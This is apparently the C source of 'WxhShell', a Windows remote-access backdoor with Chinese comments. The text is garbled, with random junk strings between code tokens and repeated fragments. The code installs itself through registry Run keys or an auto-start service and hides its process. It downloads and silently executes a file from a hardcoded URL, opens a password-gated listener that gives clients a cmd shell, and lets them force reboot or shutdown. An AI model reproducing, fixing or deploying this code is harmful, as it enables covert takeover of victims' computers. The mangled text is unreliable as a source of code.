8 n`f g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,:;ZzHzR0 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t[ cHdI NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 22$M6Qof]n "&W80,O3 if (!NtQueryInformationProcess) return 0; zb.dVK`7N- d#NG]V/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G*^4+^Vz? if(!hProcess) return 0; GUSEbIz): )H8Rfn? if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;<hLy(@ <*oTVl4fS CloseHandle(hProcess); lk;4l Z m7!Mstu hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n3y`='D if(hProcess==NULL) return 0; x}B3h9] [7_1GSS1 HMODULE hMod; hv
(>9N char procName[255]; 7Ji|x{`` unsigned long cbNeeded; \SKobO?qI @L0xU??"| if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }LeizbU wwUa+6? CloseHandle(hProcess); (ZSd7qH" d;@"Naw if(strstr(procName,"services")) return 1; // 以服务启动 ~HBQQt VUmf;~ return 0; // 注册表启动 :J6 xYy$ } i24t$7q 3127 4O // 主模块 *!NxtB!LC int StartWxhshell(LPSTR lpCmdLine) $Y`oqw?g+^ { /x q^]0xy SOCKET wsl; }ff+RGxLIG BOOL val=TRUE; l]R=I2t int port=0; XSHK7vpMf struct sockaddr_in door; u'`eCrKT* P_}wjz}9ZX if(wscfg.ws_autoins) Install(); _59f.FsVR zCji]: port=atoi(lpCmdLine); nEHmiG g^I?u$&E if(port<=0) port=wscfg.ws_port; r:3h2J[_ ~)CGwST[ WSADATA data; T_)G 5a if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xB`j*
% V9Pw\K!w#\ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cS#yfN, setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `NySTd)\ door.sin_family = AF_INET; fDjJdRS" door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,J(shc_F door.sin_port = htons(port); ?[?;%Y AcP d(Pc if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { #(7^V y& closesocket(wsl); l#IN)">1 return 1; Tm\a%Z`U> } !mH
!W5& uA4xxY if(listen(wsl,2) == INVALID_SOCKET) { 1R,SA:L$ closesocket(wsl); H
S)$|m_ return 1; XM f>B| } T*z*x=<5 Wxhshell(wsl); ~jJF&*) WSACleanup(); jP#I](\eG +;T\:'CU return 0; i&KBMx `y>BbJqy } $MqEM~^= [}I|tb>Pg // 以NT服务方式启动 -e O>d} VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mWF\h>]|. { ioBYxbY` DWORD status = 0; W2{4s
1 DWORD specificError = 0xfffffff; L 8J] X7 Lb#PiTJI serviceStatus.dwServiceType = SERVICE_WIN32; Vkfc&+ serviceStatus.dwCurrentState = SERVICE_START_PENDING; 5(thDZ ! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vRb7=fXf serviceStatus.dwWin32ExitCode = 0; iUbcvF3aP serviceStatus.dwServiceSpecificExitCode = 0; .P#t"oW} serviceStatus.dwCheckPoint = 0; lS|F&I5j serviceStatus.dwWaitHint = 0; fI,2l
e=+q*]> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1HLU
& if (hServiceStatusHandle==0) return; Ap~6Vu u"Mf xW` status = GetLastError(); dVMLn4[,MA if (status!=NO_ERROR) XMzQ8|] { @O/"s~d- serviceStatus.dwCurrentState = SERVICE_STOPPED; +TAyCxfmt
serviceStatus.dwCheckPoint = 0; \!"3yd serviceStatus.dwWaitHint = 0; /IlO serviceStatus.dwWin32ExitCode = status; `_sKR,LhB serviceStatus.dwServiceSpecificExitCode = specificError; *x_e] /} SetServiceStatus(hServiceStatusHandle, &serviceStatus); <sn,X0W return; 'Z|Czd8E } LVy`U07C V i|0!yID0@ serviceStatus.dwCurrentState = SERVICE_RUNNING; ,Iru_=Wk~ serviceStatus.dwCheckPoint = 0; ZFtJoGaR serviceStatus.dwWaitHint = 0; MAp#1+k if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b\t?5z-Z } _0y]U];ce "MD6 <H // 处理NT服务事件,比如:启动、停止 %!DTq`F VOID WINAPI NTServiceHandler(DWORD fdwControl) `QZKW { T+PERz( switch(fdwControl) {P3gMv; { 5~$WSL?O) case SERVICE_CONTROL_STOP: ,kUg"\_k serviceStatus.dwWin32ExitCode = 0; G5lBCm serviceStatus.dwCurrentState = SERVICE_STOPPED; zcuz @ serviceStatus.dwCheckPoint = 0; 11Uu5e!. serviceStatus.dwWaitHint = 0; ?BbEQr { l3y}nh+ 8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); B`w8d[cL7 } 2km0 return; >QPCYo<E case SERVICE_CONTROL_PAUSE: nm)/BK serviceStatus.dwCurrentState = SERVICE_PAUSED; L8oqlq(
9 break; =@&>r5W1 case SERVICE_CONTROL_CONTINUE: \9~Q+~@{G serviceStatus.dwCurrentState = SERVICE_RUNNING; b!`6s break; O_ vH w^ case SERVICE_CONTROL_INTERROGATE: 3#aLCpVla break; EWq
< B) }; 4sfq,shRq SetServiceStatus(hServiceStatusHandle, &serviceStatus); hu7oJ H } 9?^0pR p t3*.Bm:^ // 标准应用程序主函数 7\ X_%SM % int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,zdK%V} { ~@e=+Z r9<#R=r)}J // 获取操作系统版本 /XNC^!z6Js OsIsNt=GetOsVer(); "`mG_qHI[ GetModuleFileName(NULL,ExeFile,MAX_PATH); xgtx5tg YS<KyTb" // 从命令行安装 -FrK'!\ if(strpbrk(lpCmdLine,"iI")) Install(); zm_8{Rta} 7mn&w$MS4: // 下载执行文件 bZZ_yc if(wscfg.ws_downexe) { ScQ9p379 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) s7\Ee-x)s WinExec(wscfg.ws_filenam,SW_HIDE); JdUI:( } QyrB"_dm G7KOJZb+D if(!OsIsNt) { I]cZcx,<q // 如果时win9x,隐藏进程并且设置为注册表启动 ZTj!ti;5 HideProc(); 7#*`7 K'P! StartWxhshell(lpCmdLine); P057]cAat< } p _2Y c]8 else %`s1
Ocvp if(StartFromService()) @PK
1 // 以服务方式启动 &g=6K&a$a StartServiceCtrlDispatcher(DispatchTable); AmUH]+5KT else U.=TjCW // 普通方式启动 .3SP#mI StartWxhshell(lpCmdLine); \K lY8\c[ hVCxwTg^X return 0; }h|HT } QVmJ_WT ty@D3l <"S`ZOn e5w0}/yW/ =========================================== -k%|sqDZj 76u\#{5 f'tQLF[r< *8/cd0 >#`{(^ )Q<u0AxAn " 0&3zBL%Bo ']H*f2y #include <stdio.h> n8q%>.i7 #include <string.h> M{=p0?X #include <windows.h> D}2$n?~+ #include <winsock2.h> nFefDdP #include <winsvc.h> UY)Iu|~0b #include <urlmon.h> bE jQMlb ApcE)mjpc #pragma comment (lib, "Ws2_32.lib") N*KM6j #pragma comment (lib, "urlmon.lib") H.O&seY bV*q~@xh #define MAX_USER 100 // 最大客户端连接数 _1jeaV9@ #define BUF_SOCK 200 // sock buffer ("=B,%F_ #define KEY_BUFF 255 // 输入 buffer c=Zurqj }9Q<<a #define REBOOT 0 // 重启 +X>Aj=# #define SHUTDOWN 1 // 关机 .|y{1?f_ 4EhWK;ra
#define DEF_PORT 5000 // 监听端口 3B4C@ { b\xse2# #define REG_LEN 16 // 注册表键长度 WmblY2 #define SVC_LEN 80 // NT服务名长度 !!])~+4pP F[X;A\ // 从dll定义API yq` ,) typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u}jC$T>2%6 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T
0?9F2 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y*lAmO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 6h&i<-> ~tB9kLFG // wxhshell配置信息 ` yM9XjEl> struct WSCFG { TEbE-h0)] int ws_port; // 监听端口 "@itn char ws_passstr[REG_LEN]; // 口令 nwJc%0 int ws_autoins; // 安装标记, 1=yes 0=no %:Zp7O2UB' char ws_regname[REG_LEN]; // 注册表键名 Lnl-han% char ws_svcname[REG_LEN]; // 服务名 |3gWH4M4** char ws_svcdisp[SVC_LEN]; // 服务显示名 |(5|6r3 char ws_svcdesc[SVC_LEN]; // 服务描述信息 ro^T L char ws_passmsg[SVC_LEN]; // 密码输入提示信息 .b<wNUzP int ws_downexe; // 下载执行标记, 1=yes 0=no lR^W*w4y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
zzX9Q: char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (y2P." -M-y*P) }; A$]#f 21~~ =+)X // default Wxhshell configuration `^DP<&{ struct WSCFG wscfg={DEF_PORT, v3]~*\!5 "xuhuanlingzhe", )umW-A 1, z_:r&UP`" "Wxhshell", z2SR/[I? "Wxhshell", L$; gf_L "WxhShell Service", 9<*<-x{A17 "Wrsky Windows CmdShell Service", 2*0n#"
L "Please Input Your Password: ", 'V*8'? 1, %&4\'lE "http://www.wrsky.com/wxhshell.exe", fXAD~7T*s "Wxhshell.exe" KI5099 _/ }; D o!]t7Y$ 5K|s]Y; // 消息定义模块 ,jMV
#H[
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 21\?FQrz char *msg_ws_prompt="\n\r? for help\n\r#>"; fU4{4M+9" char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; cONfHl{ char *msg_ws_ext="\n\rExit."; aGmbB7[BZ char *msg_ws_end="\n\rQuit."; 7x`4P|Uu char *msg_ws_boot="\n\rReboot..."; 9S)A6] char *msg_ws_poff="\n\rShutdown..."; tOw[ char *msg_ws_down="\n\rSave to "; W7
9.,# q^b_'We_9 char *msg_ws_err="\n\rErr!"; i<{/r-w=E char *msg_ws_ok="\n\rOK!"; 8?k.4{? c]:@y"W5$ char ExeFile[MAX_PATH]; L&~>(/*7U int nUser = 0; :,=Z)e HANDLE handles[MAX_USER]; SP5t=#M6 int OsIsNt; ZQrgYeQl" ~sc@49p SERVICE_STATUS serviceStatus; w3peG^4D_ SERVICE_STATUS_HANDLE hServiceStatusHandle; =|bW >y R$VeD1n@ // 函数声明
tD}HL_ int Install(void); =_H)5I_\ int Uninstall(void); Cl3hpqv1I int DownloadFile(char *sURL, SOCKET wsh); }@wXm int Boot(int flag); |)u|@\{ void HideProc(void); .AZ+|?d int GetOsVer(void); z50f$!? int Wxhshell(SOCKET wsl); eFCXjM void TalkWithClient(void *cs); =;A~$[ g int CmdShell(SOCKET sock); XvW
$B| int StartFromService(void); `o!a
RX int StartWxhshell(LPSTR lpCmdLine); \Rvsy;7 EAjo>GLI VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BXo9s~5Q VOID WINAPI NTServiceHandler( DWORD fdwControl ); q9"~sCH Fgg4QF // 数据结构和表定义 _d/ZaCx'i SERVICE_TABLE_ENTRY DispatchTable[] = Mt`XHXTp { #n}n
% {wscfg.ws_svcname, NTServiceMain}, H[8P]"*z*i {NULL, NULL} o M#S.f? }; ^7~w yAr MOW {g\{\ // 自我安装 wH[}@ w int Install(void) - dt<w;>W { oJTsrc_- char svExeFile[MAX_PATH]; Q CB~x2C HKEY key; o] 7U;W strcpy(svExeFile,ExeFile); R!LKGiN Y^f12% // 如果是win9x系统,修改注册表设为自启动 Gk5SG_o if(!OsIsNt) { 8RR6f98FF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Bh,LJawE RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tC -H2@ RegCloseKey(key); mg^\"GC*8 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rfNt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gJ>HFid_C RegCloseKey(key); k|}S K9 return 0; "A?_)=zZ } '%"#] } <=,KP) } >h
m<$3 else { (&u)FB* m=<;) // 如果是NT以上系统,安装为系统服务 &Wup
7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ;"/ " if (schSCManager!=0) [0G>=h@u { lC i_G3C SC_HANDLE schService = CreateService oFRb+H(E ( 2tqO%8`_ schSCManager, QYL
'; wscfg.ws_svcname, BO p&s>hI wscfg.ws_svcdisp, LvNk:99:< SERVICE_ALL_ACCESS,
8Cr?0Z SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q}["Nww- SERVICE_AUTO_START, 4n@,
p0 SERVICE_ERROR_NORMAL, ZWJFd(6 svExeFile, (7rG~d1iS NULL, lFY;O !Y5\ NULL, 1`_i%R^ NULL, c};Qr@vpo NULL, =>CrZ23B" NULL `&U ['_% ); gU}?Yy if (schService!=0) 7M1*SC { T<0Bq"'% CloseServiceHandle(schService); :q4Mnr CloseServiceHandle(schSCManager); "zO+!h'o strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i4"xvLK4 strcat(svExeFile,wscfg.ws_svcname); FBPT@`~v if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { a|\_'# RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]eq3cwR[| RegCloseKey(key); \0pJ+@\T9 return 0; WiL~b
=fT } P
+ nT% } mYk5f_} CloseServiceHandle(schSCManager); X3Vpxtb } n.y72-&v } AsM""x1Ix |[TH
~o return 1; sh?Dxodp9 } N3H!ptn37 >}/"gx // 自我卸载 &w3LMOT int Uninstall(void) 8X]j;Rb { z@ A5t4+3 HKEY key; 1W
HR;!u )x"Z$ jIs if(!OsIsNt) { H2RNekck if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,Fg&<Be}Jx RegDeleteValue(key,wscfg.ws_regname); 0r=Lilu{q RegCloseKey(key); s/Wg^(&M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r/L3j0 RegDeleteValue(key,wscfg.ws_regname); !U/:!e`N RegCloseKey(key); (.!q~G return 0; N1(}3O } SJ7>*Sa(u$ } Z-H Kdv!d } u6jJf@!ws else { (s{%XB:K s:cS 9A8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0tB9X9 :, if (schSCManager!=0) Zk}e?Grc { 2#1FI0,Pa* SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $X~=M_W if (schService!=0) =W ! m` { lLtC9: if(DeleteService(schService)!=0) { ^O\tN\g;c CloseServiceHandle(schService); aM.l+DP CloseServiceHandle(schSCManager); foE2rV/Y return 0; :ykZ7X& } i`8!Vm CloseServiceHandle(schService); :eQxdi' } 3g2t{% CloseServiceHandle(schSCManager); ZLKS4 } <WBGPzVZE }
YQX>)' D?5W1m]E,s return 1; o(~JZik } P!YT{} x_Ais&Gc // 从指定url下载文件 Punbw\9!d, int DownloadFile(char *sURL, SOCKET wsh) T*h+"TmE { >cMU<'& HRESULT hr; S^D ~A8u char seps[]= "/"; _W#27I char *token; 05pCgI}F> char *file; ^ad>
(W char myURL[MAX_PATH]; 6o A0a\G' char myFILE[MAX_PATH]; 9R;s;2$. `(B1 "qRi strcpy(myURL,sURL); 7P|(j<JX6' token=strtok(myURL,seps); S8,+6+_7 while(token!=NULL) `O}.
.N]g { <6L$:vT_ file=token; N{p2@_fnB token=strtok(NULL,seps); <O\z`aA'q } p6}jCGJ *%)L?* GetCurrentDirectory(MAX_PATH,myFILE); vlj|[joXw strcat(myFILE, "\\"); NKd@Kp`, strcat(myFILE, file); 7 cIVK}& send(wsh,myFILE,strlen(myFILE),0); )s=z i" send(wsh,"...",3,0); tfv]AC7x hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); B4|%E$1+ if(hr==S_OK) &
bw1 return 0; 053W2Si else H#Og0gEE}5 return 1; V">Uh@[J_ `XWxC:j3% } eIqj7UY_ ^*{xTB57 // 系统电源模块 J$WIF&*0@ int Boot(int flag) A<.Q&4jb {
0U/:Tpyr HANDLE hToken; y:|7.f TOKEN_PRIVILEGES tkp; :sPku<1is ryn) if(OsIsNt) { s`
9zW, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); )uX:f8 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h;ShNU tkp.PrivilegeCount = 1; Gg.w-& tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,<vrDHR AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 'g=yJ if(flag==REBOOT) { IYQYW.`ly if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <hK$Cf_ return 0; f`IgfJN } $&e(V6A@ else { } 1XLe if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) H|TzD"2N return 0; ynDx'Q* N' } k]>k1Mi= } _$bx4a else { Sm Ei _u]' if(flag==REBOOT) { H_AV 3
; if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VG8rd'Z return 0; 5AjK7[<L } |@@mq!>- else { ./fEx
'E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~F(+uJbO return 0; y\S7oD(OR } 5~44R@` } =:g^_Hy Fhsmpe~ return 1; 18n84RkI9 } | 5L1\O8# ?X9
=4Z~w // win9x进程隐藏模块 6szkE{-/? void HideProc(void) N{`l?t0I { V?O%k d EIYM0vls( HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m+m6"yE#_ if ( hKernel != NULL ) 1`}fbX;"m) { >C-_Zv<!T\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n% `r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &Bp\kv FreeLibrary(hKernel); nfJ8Rt
} %'t~e?d! a?Y1G3U' return; 7>zKW? } KJ)nGoP> >b["T+ // 获取操作系统版本 `JE>GZY int GetOsVer(void) !U#++Zig% { a`-hLX)~Z OSVERSIONINFO winfo; %)/f; T6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q%k+x) GetVersionEx(&winfo); !1RV[b.8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )T64(_TE return 1; (v`;ym else zkp
Apj]. return 0; [Kj:~~`T } ,OKM\N, )RYnRC#O // 客户端句柄模块 ]hj1.V+ int Wxhshell(SOCKET wsl) Qsntf.fT { _onp%* SOCKET wsh; >jX
UO struct sockaddr_in client; xploFw~ DWORD myID; (J*w./ h6h1.lZ while(nUser<MAX_USER) CJ?gjV6 { &{ {DS int nSize=sizeof(client); &'7"i~pC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }o^A^ if(wsh==INVALID_SOCKET) return 1; z9ShP&^4[ w`}9/s;$ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~RXpz-Ye if(handles[nUser]==0) -WUYE closesocket(wsh); Z02s(y=k1 else :Nz?<3R0\ nUser++; jAK{<7v4U } c[ony:6 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?4ILl>* VxN64;|= return 0; c,q"}nE8w } EB>B,# cHL]y0> // 关闭 socket ~B!O~nvdQ void CloseIt(SOCKET wsh) b!]0mXU { 2Nn1-wdhb closesocket(wsh); n`)7Y`hBhP nUser--; lB!vF ~A& ExitThread(0); kV ,G,wo } mhk/>+hF k=7Gr;;l=p // 客户端请求句柄 um jhG6 void TalkWithClient(void *cs) p08kZ { Q0cY/'>4 MdH97L)L.0 SOCKET wsh=(SOCKET)cs; i~)NQmH< char pwd[SVC_LEN]; h.V]f S char cmd[KEY_BUFF]; d;~ 3P
char chr[1]; vWl[l
-E int i,j; G*\abL \E@s_fQ] while (nUser < MAX_USER) { RxZm/:yuJ. %f(S'<DhC if(wscfg.ws_passstr) { C]'g:93L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BF36V\ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2L2 VVO //ZeroMemory(pwd,KEY_BUFF); 2vc\= i=0; ~o@\
n while(i<SVC_LEN) { ;cI#S%uvpn a*Ss -y // 设置超时 st?gA"5w fd_set FdRead;
\Mb(6~nC struct timeval TimeOut; qO-C%p
[5 FD_ZERO(&FdRead); mz\NFC< FD_SET(wsh,&FdRead); x_==Ss TimeOut.tv_sec=8; 9?;@*x TimeOut.tv_usec=0; JI"/N`-?;b int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oYz!O]j;a if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;1W6"3t-Y 5"JU?e59M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ja[OcR-tX pwd=chr[0]; p jKt:R} if(chr[0]==0xd || chr[0]==0xa) { lC#RNjDp/~ pwd=0; |gnAqkW0 break; pkX v.D` } ^qxdmMp)l i++; iJdP>x } fVe@YqNa =m}TU)4. // 如果是非法用户,关闭 socket z% V* K if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )Zas
x6` } 4`nqAX~'f :peqr!I+K send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &Y1`?1;nw send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <cYp~e%xIw eC ~jgB while(1) { x>%joKY[ 2 H[ ; v + ZeroMemory(cmd,KEY_BUFF); Z>F@nTzb> o{V#f_o // 自动支持客户端 telnet标准 nfX12y_SXL j=0; sAi&A9"* while(j<KEY_BUFF) { 2F1ZAl if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yRC3
.[ cmd[j]=chr[0];
EX:{EmaT if(chr[0]==0xa || chr[0]==0xd) { &<Mt=(qY1 cmd[j]=0; I"1CgKYK^+ break; I}+;ME|<2 } x;j{}
% j++; h*s`^W3 } x=-0 zV @`w n<%o$ // 下载文件 s~J=<)T*6 if(strstr(cmd,"http://")) { ^av6HFQ send(wsh,msg_ws_down,strlen(msg_ws_down),0); XJSa]P^B1 if(DownloadFile(cmd,wsh)) D{p5/#|r send(wsh,msg_ws_err,strlen(msg_ws_err),0); T C8`JU=wV else rB%y6P B send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |SQ|qbe= } +K^h!d] else { ,r=re!QI7 tz4
]hF switch(cmd[0]) { ,
T\- ;7 &>(gt<C$ // 帮助 T%(C-Quh case '?': { \"x>JW4w send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :)IV!_>'d break; ;W{b $k@g } ES}. xZ#~ // 安装 &[_ZXVva~ case 'i': { :l,OalO if(Install()) >w.'KR0L send(wsh,msg_ws_err,strlen(msg_ws_err),0); Au.:OeJm else UTCzHh1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8>N wCjN break; c?K~/bx. } qu~X.pW // 卸载 C\Vg{&' case 'r': { [2
zt ^ if(Uninstall()) 8IGt4UF&? send(wsh,msg_ws_err,strlen(msg_ws_err),0); eLfvMPVo else JA^v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7I}P*%(f break; #BY`h~&T } ``|AgIg // 显示 wxhshell 所在路径 6/tI8H3E case 'p': { SfB8!V|; char svExeFile[MAX_PATH]; >xg5z strcpy(svExeFile,"\n\r"); uzBz}<M= strcat(svExeFile,ExeFile); ?j{C*|yHO send(wsh,svExeFile,strlen(svExeFile),0); OBOwz4< break; T_;]fPajjD } >jx.R // 重启 =Z,5$6%) case 'b': { 0$HmY2
Men send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x83a!9 if(Boot(REBOOT)) }Ln@R~[ send(wsh,msg_ws_err,strlen(msg_ws_err),0); #E$X,[ZFo else { $_D6_|HK closesocket(wsh); 7G93,dJ ExitThread(0); !HK^AwNY } +?m0Q;%b break; UMMB0(0D } x_MJJ(q8g // 关机 d=3'?l` case 'd': { iwF9[wAft send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~i~%~doa if(Boot(SHUTDOWN)) e8P-k3a"5: send(wsh,msg_ws_err,strlen(msg_ws_err),0); %.HJK else { /rc%O*R closesocket(wsh); Ykqyk')wm ExitThread(0); [xZU!= } LT@OWH break; HU ;#XU1 } !>$4]FkV // 获取shell uJU*")\V case 's': { ,!#ccv+Vm% CmdShell(wsh); Q<(YP.k closesocket(wsh); e Y$qV} ExitThread(0); Uh6 '$0 break; 1B=>_3_ } O;9?(:_ // 退出 ExBUpDQc case 'x': { 8wZf]_ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PWr(*ZP>hI CloseIt(wsh); =8{WZCW5 break; wBSQ:f]g } [bz T&o // 离开 _BM4>r?\ case 'q': { f3MRD4+- send(wsh,msg_ws_end,strlen(msg_ws_end),0); &&>tf%[ closesocket(wsh); P9Q~r<7n WSACleanup(); !CTxVLl"F exit(1); J([s5:.[ break; Z|lU8`'5 } s1N?/>lmB } *Zk>2<^R } 5z}w}zdg 6IcNZ!j98 // 提示信息 &53]sFZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #-VMg+14 } c}Z6V1]QP } yay<GP? 8IQtz2 return; |SZo'
6 } friWW^ {Ro2ouQ!V // shell模块句柄 #6v27:XK int CmdShell(SOCKET sock) &)d$t'7p { @$^bMIj@W STARTUPINFO si; Uu
s. ZeroMemory(&si,sizeof(si)); M9\#Aq&\i si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '@|_OmcY si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Cwa^"r3P1 PROCESS_INFORMATION ProcessInfo; x&sI=5l char cmdline[]="cmd"; ))kF<A_MK CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4S"\~>< return 0; S^@S%Eg } +j_;(Gw7 |y;}zQB-dH // 自身启动模式 \*hrW( int StartFromService(void) PX:'/{V { Ks^6.) typedef struct Y_&g="`Q { !l?.5Pm]) DWORD ExitStatus; H(c72]@Vg DWORD PebBaseAddress; lf{e[!ML' DWORD AffinityMask; ,_aM`%q?Fj DWORD BasePriority; <P[T!gST ULONG UniqueProcessId; bK"SKV ULONG InheritedFromUniqueProcessId; i$G;f^Z!Y
} PROCESS_BASIC_INFORMATION; (
9!k# H`bSYjgM! PROCNTQSIP NtQueryInformationProcess; K%<j=c g6@Fp7T static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; c .3ZXqpI; static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [v7^i_d RpWTpT1 HANDLE hProcess; .;y# PROCESS_BASIC_INFORMATION pbi; 6=4wp? S:4crI HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h^,8rd if(NULL == hInst ) return 0; fH`P[^N MObt,[^W g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~\ ,w { g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K8n4oz#z NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /kL$4CA ]-oJ[5cQ0v if (!NtQueryInformationProcess) return 0; LTNj| u M;cO0UIwO hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B\J^=W+` if(!hProcess) return 0; IdYzgDH /,!qFt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2LrJ>Mi swA+f CloseHandle(hProcess); WLF0US' Q-ni| hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0TfS=scT if(hProcess==NULL) return 0; 4S~o-`&W .s#;s'>g HMODULE hMod; X;<BzA!H char procName[255]; 7.DtdyM unsigned long cbNeeded; (P&4d~)m 